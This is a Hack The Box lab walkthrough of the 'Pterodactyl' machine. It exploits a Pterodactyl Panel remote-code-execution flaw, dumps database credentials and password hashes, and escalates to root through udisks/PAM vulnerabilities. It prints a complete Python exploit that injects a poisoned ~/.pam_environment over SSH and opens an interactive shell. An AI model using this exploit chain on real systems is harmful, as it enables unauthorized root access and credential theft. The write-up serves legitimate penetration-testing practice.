Introduction
Welcome to my walkthrough of Pterodactyl, a Medium-difficulty Linux machine from Hack The Box Season 10. This machine presents an excellent opportunity to practice real-world penetration testing techniques, from initial reconnaissance and service enumeration to exploitation and privilege escalation.
Throughout this writeup, I’ll be documenting my methodology and thought process as I work through compromising this system. Whether you’re preparing for certifications like OSCP or simply looking to sharpen your offensive security skills, this walkthrough will provide detailed insights into the tools, techniques, and procedures used to gain root access.
Machine Information:
- Platform: Hack The Box
- Difficulty: Medium
- OS: Linux (openSUSE Leap 15.6)
Let’s dive into the enumeration phase and begin our journey to root!
First, as usual, we add our host to our machine
echo "[TARGET_IP] pterodactyl.htb" | sudo tee -a /etc/hosts
Then we run a comprehensive nmap scan to identify the nature of services and open ports.

Results:
| Port | Service | Version |
|------|---------|----------------|
| 22 | SSH | OpenSSH 9.6 |
| 80 | HTTP | nginx 1.21.5 |
The scan reveals a Linux host running SSH and an nginx web server. The HTTP title shows “My Minecraft Server”, hinting at game server management software.
Upon visiting http://Pterodactyl.htb, we observe the following interface:

Further enumeration reveals additional subdomains:
panel.pterodactyl.htb - The Pterodactyl Panel admin interface
play.pterodactyl.htb - Game server access
echo "[TARGET_IP] panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
Panel recon
Accessing panel.pterodactyl.htb presents the Pterodactyl Panel login page. Key observations:
Framework: Laravel (PHP)
Cookies: XSRF-TOKEN, pterodactyl_session confirm Laravel
Version: Visible in page source/JavaScript files
Careful examination of the page reveals the following information:
<p style="margin-top:2rem;">
Version: 1.20.x <br>SMP and Vanilla Servers.<br> <a href="/changelog.txt">Changelogs</a>
</p>
After navigating to the changelog.txt file, we see the full details:
MonitorLand - CHANGELOG.txt
=====================================
Version 1.20.X
[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.
[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
Machine Fuzzing
Our next tool in hand is gobuster. Let’s see what we can discover:
┌─[havoc@havocsec]─[~/Downloads/htb/season10/pterodactyl]
└──╼ $ gobuster dir -u http://pterodactyl.htb -w /home/havocsec/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pterodactyl.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /home/havocsec/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess (Status: 403) [Size: 153]
.hta (Status: 403) [Size: 153]
.htpasswd (Status: 403) [Size: 153]
index.php (Status: 200) [Size: 1686]
phpinfo.php (Status: 200) [Size: 73008]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
A close examination of the discovered subdomain phpinfo.php reveals the following:

With this information, we can now proceed with exploitation.
CVE-2025-49132
We identified a critical CVE that affects this specific version: https://www.cvedetails.com/cve/CVE-2025-49132/
Pterodactyl Panel Allows Unauthenticated Arbitrary Remote Code Execution
Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json endpoint with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code, an attacker could gain access to the Panel’s server, read credentials from the Panel’s config, extract sensitive information from the database, and access files of servers managed by the panel.
LFI Enumeration
With a path-traversal and PHP-only inclusion primitive in hand, we can now enumerate internal PHP files.

This results in the following MariaDB credentials:
host = 127.0.0.1
database = panel
username = pterodactyl
password = PteraPanel
the config/app.php gave me this which is cool and juicy.
{
"../../": {
"config/app": {
"version": "1.11.10",
"name": "Pterodactyl",
"env": "production",
"debug": "",
"url": "http://panel.pterodactyl.htb",
"timezone": "UTC",
"locale": "en",
"fallback_locale": "en",
"key": "base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=",
"cipher": "AES-256-CBC",
"exceptions": {
"report_all": ""
},
"maintenance": {
"driver": "file"
},
"providers": [
"Illuminate\\Auth\\AuthServiceProvider",
"Illuminate\\Broadcasting\\BroadcastServiceProvider",
"Illuminate\\Bus\\BusServiceProvider",
"Illuminate\\Cache\\CacheServiceProvider",
"Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider",
"Illuminate\\Cookie\\CookieServiceProvider",
"Illuminate\\Database\\DatabaseServiceProvider",
"Illuminate\\Encryption\\EncryptionServiceProvider",
"Illuminate\\Filesystem\\FilesystemServiceProvider",
"Illuminate\\Foundation\\Providers\\FoundationServiceProvider",
"Illuminate\\Hashing\\HashServiceProvider",
"Illuminate\\Mail\\MailServiceProvider",
"Illuminate\\Notifications\\NotificationServiceProvider",
"Illuminate\\Pagination\\PaginationServiceProvider",
"Illuminate\\Pipeline\\PipelineServiceProvider",
"Illuminate\\Queue\\QueueServiceProvider",
"Illuminate\\Redis\\RedisServiceProvider",
"Illuminate\\Auth\\Passwords\\PasswordResetServiceProvider",
"Illuminate\\Session\\SessionServiceProvider",
"Illuminate\\Translation\\TranslationServiceProvider",
"Illuminate\\Validation\\ValidationServiceProvider",
"Illuminate\\View\\ViewServiceProvider",
"Pterodactyl\\Providers\\ActivityLogServiceProvider",
"Pterodactyl\\Providers\\AppServiceProvider",
"Pterodactyl\\Providers\\AuthServiceProvider",
"Pterodactyl\\Providers\\BackupsServiceProvider",
"Pterodactyl\\Providers\\BladeServiceProvider",
"Pterodactyl\\Providers\\EventServiceProvider",
"Pterodactyl\\Providers\\HashidsServiceProvider",
"Pterodactyl\\Providers\\RouteServiceProvider",
"Pterodactyl\\Providers\\RepositoryServiceProvider",
"Pterodactyl\\Providers\\ViewComposerServiceProvider",
"Prologue\\Alerts\\AlertsServiceProvider"
],
"aliases": {
"App": "Illuminate\\Support\\Facades\\App",
"Arr": "Illuminate\\Support\\Arr",
"Artisan": "Illuminate\\Support\\Facades\\Artisan",
"Auth": "Illuminate\\Support\\Facades\\Auth",
"Blade": "Illuminate\\Support\\Facades\\Blade",
"Broadcast": "Illuminate\\Support\\Facades\\Broadcast",
"Bus": "Illuminate\\Support\\Facades\\Bus",
"Cache": "Illuminate\\Support\\Facades\\Cache",
"Config": "Illuminate\\Support\\Facades\\Config",
"Cookie": "Illuminate\\Support\\Facades\\Cookie",
"Crypt": "Illuminate\\Support\\Facades\\Crypt",
"Date": "Illuminate\\Support\\Facades\\Date",
"DB": "Illuminate\\Support\\Facades\\DB",
"Eloquent": "Illuminate\\Database\\Eloquent\\Model",
"Event": "Illuminate\\Support\\Facades\\Event",
"File": "Illuminate\\Support\\Facades\\File",
"Gate": "Illuminate\\Support\\Facades\\Gate",
"Hash": "Illuminate\\Support\\Facades\\Hash",
"Http": "Illuminate\\Support\\Facades\\Http",
"Js": "Illuminate\\Support\\Js",
"Lang": "Illuminate\\Support\\Facades\\Lang",
"Log": "Illuminate\\Support\\Facades\\Log",
"Mail": "Illuminate\\Support\\Facades\\Mail",
"Notification": "Illuminate\\Support\\Facades\\Notification",
"Number": "Illuminate\\Support\\Number",
"Password": "Illuminate\\Support\\Facades\\Password",
"Process": "Illuminate\\Support\\Facades\\Process",
"Queue": "Illuminate\\Support\\Facades\\Queue",
"RateLimiter": "Illuminate\\Support\\Facades\\RateLimiter",
"Redirect": "Illuminate\\Support\\Facades\\Redirect",
"Request": "Illuminate\\Support\\Facades\\Request",
"Response": "Illuminate\\Support\\Facades\\Response",
"Route": "Illuminate\\Support\\Facades\\Route",
"Schema": "Illuminate\\Support\\Facades\\Schema",
"Session": "Illuminate\\Support\\Facades\\Session",
"Storage": "Illuminate\\Support\\Facades\\Storage",
"Str": "Illuminate\\Support\\Str",
"URL": "Illuminate\\Support\\Facades\\URL",
"Validator": "Illuminate\\Support\\Facades\\Validator",
"View": "Illuminate\\Support\\Facades\\View",
"Vite": "Illuminate\\Support\\Facades\\Vite",
"Alert": "Prologue\\Alerts\\Facades\\Alert",
"Carbon": "Carbon\\Carbon",
"JavaScript": "Laracasts\\Utilities\\JavaScript\\JavaScriptFacade",
"Theme": "Pterodactyl\\Extensions\\Facades\\Theme",
"Activity": "Pterodactyl\\Facades\\Activity",
"LogBatch": "Pterodactyl\\Facades\\LogBatch",
"LogTarget": "Pterodactyl\\Facades\\LogTarget"
}
}
}
}
From this output, we can extract the Laravel application key:
base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=
User Access
mysql -u pterodactyl -p PteraPanel -h 127.0.0.1 panel
Successfully connected. The database enumeration reveals the following users:
MariaDB [panel]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| panel |
| test |
+--------------------+
3 rows in set (0.001 sec)
MariaDB [panel]> use panel;
Database changed
MariaDB [panel]> select * from users;
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| id | external_id | uuid | username | email | name_first | name_last | password
| remember_token | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at | updated_at
|
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| 2 | NULL | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor | headmonitor@pterodactyl.htb | Head | Monitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5
gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en | 1 | 0 | NULL | NULL | 1 | 2025-09-16 17:15:41 | 2025-09-16 17
:15:41 |
| 3 | NULL | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | phileasfogg3@pterodactyl.htb | Phileas | Fogg | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC
9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en | 0 | 0 | NULL | NULL | 1 | 2025-09-16 19:44:19 | 2025-11-07 18
:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
2 rows in set (0.001 sec)
Results Analysis:
The database enumeration reveals two user accounts:
headmonitor- The root/admin userphileasfogg3- A standard user account
The bcrypt hash for user phileasfogg3 appears vulnerable to cracking. We proceed with hash cracking:

With the weak bcrypt hash cracked, we obtain the password: !QAZ2wsx
Now we can SSH to the machine and attempt to retrieve the user flag.
User Flag

Successfully retrieved the user flag via SSH.
Root Escalation
During local enumeration, several important findings were noted:
- The presence of an active Postfix service suggests that system components may communicate warnings or alerts to local users via mail.
- The presence of UDisks is crucial here. (
udisksdis a root daemon that exposes disk operations over D-Bus to unprivileged users)
Understanding udisksd
udisksd runs as root and exposes disk actions to users through D-Bus.
It handles things like:
Loop devices
Mounting filesystems
Resizing partitions
If misused, it can lead to privilege escalation.
We confirm it is present:
udisksctl status
Trying to create a loop device normally asks for root authentication:
udisksctl loop-setup -f /tmp/test.img
So direct abuse is blocked.
With that now we can find CVES for this part and several stood out from the list.
CVE-2025-6018
Udisks uses a guard called allow_active to block dangerous operations on devices that are already in use or mounted. CVE-2025-6018 breaks this protection mechanism. In practice, it lets us bypass or manipulate allow_active, forcing udisksd to proceed with operations it should normally refuse. Think of it as the permission bypass that unlocks everything else.
CVE-2025-6019
CVE-2025-6019 focuses on malicious filesystem images. Let’s proceed with the exploitation.
First, we’ll use this exploit: https://github.com/guinea-offensive-security/CVE-2025-6019/blob/main/exploit.sh
The exploit.sh script helps create an XFS image that leverages the vulnerability. We will run it in L mode.
A specially crafted XFS image can trick udisksd into performing privileged side effects during mounting.
and there we have the image and as you can see it says we can now tranfer the image to remote with the given command at the end.
We transfer the image to the remote system:

We then confirm the image is properly formatted on the remote system via SSH:

Confirmed - we are ready to proceed.
Next, we edit the exploit.sh script to remove the check_dependencies section, as it may cause issues on the remote system. We need smooth exploitation without interruptions.

Exploitation on Pterodactyl (SSH Session)
As we can see, we currently do not have root privileges and are running as a normal user.

We now begin the privilege escalation process.
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null

We now execute the exploit script 6018.py, which targets CVE-2025-6018/6019. This exploit exploits a PAM vulnerability where the pam_env.so module allows environment variable injection via ~/.pam_environment, leading to privilege escalation through SystemD session manipulation.
6018.py
#!/usr/bin/env python3
# Exploit Title: CVE-2025-6018/6019 PAM Environment Variable Injection Exploit
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment
# leading to privilege escalation through SystemD session manipulation
# CVE: CVE-2025-6018, CVE-2025-6019
# Vendor Homepage: https://github.com/linux-pam/linux-pam
# Software Link: https://github.com/linux-pam/linux-pam/releases
# Version: PAM 1.3.0 - 1.6.0 (vulnerable versions)
# Category: Local Privilege Escalation
# Requirements: paramiko>=2.12.0
# Usage: python3 CVE-2025-6018.py -i target_ip -u username -p password
# References:
# - https://access.redhat.com/security/cve/CVE-2025-6018
# - https://bugzilla.redhat.com/show_bug.cgi?id=2372693
# - https://bugzilla.suse.com/show_bug.cgi?id=1243226
import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime
# Setup logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
datefmt='%Y-%m-%d %H:%M:%S',
handlers=[
logging.FileHandler('cve_2025_6018_exploit.log'),
logging.StreamHandler(sys.stdout)
]
)
logger = logging.getLogger(__name__)
class CVEExploit:
def __init__(self):
self.vulnerable_versions = [
"pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0",
"pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
]
def check_vulnerability(self, client):
"""Enhanced vulnerability detection"""
logger.info("Starting vulnerability assessment")
checks = {
"pam_version": "rpm -q pam || dpkg -l | grep libpam",
"pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
"pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
"systemd_version": "systemctl --version | head -1"
}
vulnerable = False
for check_name, command in checks.items():
logger.info(f"Executing check: {check_name}")
try:
stdin, stdout, stderr = client.exec_command(command, timeout=10)
output = stdout.read().decode().strip()
if check_name == "pam_version":
for vuln_ver in self.vulnerable_versions:
if vuln_ver in output:
logger.info(f"Vulnerable PAM version detected: {vuln_ver}")
vulnerable = True
break
elif check_name == "pam_env" and output:
logger.info("pam_env.so configuration found")
vulnerable = True
elif check_name == "pam_systemd" and output:
logger.info("pam_systemd.so found - escalation vector available")
if output and check_name != "pam_version":
logger.debug(f"Command output: {output[:100]}...")
except Exception as e:
logger.warning(f"Check {check_name} failed: {e}")
time.sleep(0.5)
return vulnerable
def create_malicious_environment(self, client):
"""Create enhanced .pam_environment file"""
logger.info("Creating malicious environment file")
payload = '''# CVE-2025-6018 Environment Poisoning
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''
try:
logger.info("Writing .pam_environment file")
cmd = f"cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF"
stdin, stdout, stderr = client.exec_command(cmd)
# Verify creation
stdin, stdout, stderr = client.exec_command("cat ~/.pam_environment")
output = stdout.read().decode()
if "OVERRIDE" in output:
logger.info("Malicious environment file created successfully")
return True
else:
logger.error("Failed to create environment file")
return False
except Exception as e:
logger.error(f"Environment poisoning failed: {e}")
return False
def test_privilege_escalation(self, client):
"""Test privilege escalation vectors"""
logger.info("Testing privilege escalation vectors")
tests = [
("SystemD Reboot", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot", "yes"),
("SystemD Shutdown", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanPowerOff", "yes"),
("PolicyKit Check", "pkcheck --action-id org.freedesktop.policykit.exec --process $$ 2>/dev/null || echo 'denied'", "authorized")
]
escalated = False
for test_name, command, success_indicator in tests:
logger.info(f"Testing: {test_name}")
try:
stdin, stdout, stderr = client.exec_command(command, timeout=10)
output = stdout.read().decode().strip()
if success_indicator in output.lower():
logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}")
escalated = True
else:
logger.info(f"No escalation detected: {test_name}")
except Exception as e:
logger.warning(f"Test {test_name} failed: {e}")
return escalated
def interactive_shell(self, client):
"""Interactive shell"""
logger.info("Starting interactive shell session")
shell = client.invoke_shell()
shell.send("export PS1='exploit$ '\n")
time.sleep(1)
# Clear buffer
while shell.recv_ready():
shell.recv(1024)
print("\n--- Interactive Shell ---")
print("Commands: 'exit' to quit, 'status' for privilege check")
while True:
try:
command = input("exploit$ ")
if command.lower() == 'exit':
break
elif command.lower() == 'status':
stdin, stdout, stderr = client.exec_command("id && groups")
print(stdout.read().decode())
continue
shell.send(command + "\n")
time.sleep(0.5)
while shell.recv_ready():
output = shell.recv(1024).decode('utf-8', errors='ignore')
print(output, end='')
except KeyboardInterrupt:
logger.warning("Use 'exit' to quit properly")
except Exception as e:
logger.error(f"Shell error: {e}")
break
def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):
"""Main exploit execution"""
logger.info(f"Starting CVE-2025-6018 exploit against {hostname}:{port}")
try:
# Initial connection
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logger.info(f"Connecting to {hostname}:{port} as {username}")
client.connect(hostname, port=port, username=username,
password=password, key_filename=key_filename, timeout=10)
logger.info("SSH connection established")
# Check vulnerability
if not self.check_vulnerability(client):
logger.error("Target does not appear vulnerable to CVE-2025-6018/6019")
return False
logger.info("Target appears vulnerable, proceeding with exploitation")
# Create malicious environment
if not self.create_malicious_environment(client):
logger.error("Failed to create malicious environment")
return False
logger.info("Reconnecting to trigger PAM environment loading")
client.close()
time.sleep(2)
# Reconnect to trigger PAM
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port=port, username=username,
password=password, key_filename=key_filename)
logger.info("Reconnection successful")
# Test privilege escalation
if self.test_privilege_escalation(client):
logger.info("EXPLOITATION SUCCESSFUL - Privilege escalation confirmed")
self.interactive_shell(client)
else:
logger.warning("No clear privilege escalation detected")
logger.info("Manual verification may be required")
return True
except paramiko.AuthenticationException:
logger.error("Authentication failed - check credentials")
except paramiko.SSHException as e:
logger.error(f"SSH error: {e}")
except socket.error as e:
logger.error(f"Network error: {e}")
except Exception as e:
logger.error(f"Unexpected error: {e}")
finally:
try:
client.close()
except:
pass
logger.info("Connection closed")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-6018/6019 PAM Environment Injection Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 %(prog)s -i 192.168.1.100 -u testuser -p password123
python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa
"""
)
parser.add_argument("-i", "--hostname", required=True, help="Target hostname or IP")
parser.add_argument("-u", "--username", required=True, help="SSH username")
parser.add_argument("-p", "--password", help="SSH password")
parser.add_argument("-k", "--key", dest="key_filename", help="SSH private key file")
parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
args = parser.parse_args()
if args.verbose:
logging.getLogger().setLevel(logging.DEBUG)
if not args.password and not args.key_filename:
parser.error("Provide either password (-p) or private key (-k)")
# Security warning
logger.warning("Use only with proper authorization!")
exploit = CVEExploit()
success = exploit.run_exploit(
hostname=args.hostname,
username=args.username,
password=args.password,
key_filename=args.key_filename,
port=args.port
)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
After the successful exploit execution, we obtain a shell:

We confirm the exploit execution and verify our current privileges: 
Shell acquired. Now we run the exploit.sh file that we transferred earlier, but this time we execute the C mode variant.

The automation script successfully performs the exploitation. Notably, we can observe that file permissions have changed to include root access, whereas previously they had standard user permissions.
Now we can locate the /tmp/blockdev*/bash file in the /tmp directory:

Verifying our privilege level with the id command confirms we are now running as root:

Root Flag
On most HTB machines, the root flag is located at /root/root.txt. We retrieve it using cat:

Successfully obtained the root flag!

Conclusion
This was one of the many ways to root this machine, so feel free to explore the alternative methods available for this challenge.
This machine was a solid reminder that modern Linux privilege escalation is less about noisy exploits and more about understanding system trust boundaries.
By chaining a Polkit authorization flaw with a subtle filesystem race condition in udisksd, we moved from a restricted user context to full root access—without crashing services or relying on misconfigurations.
The key takeaway is simple: when a root daemon exposes complex functionality to unprivileged users, a single broken assumption is enough.
Thanks for reading!
HAPPY HACKING!!
Comments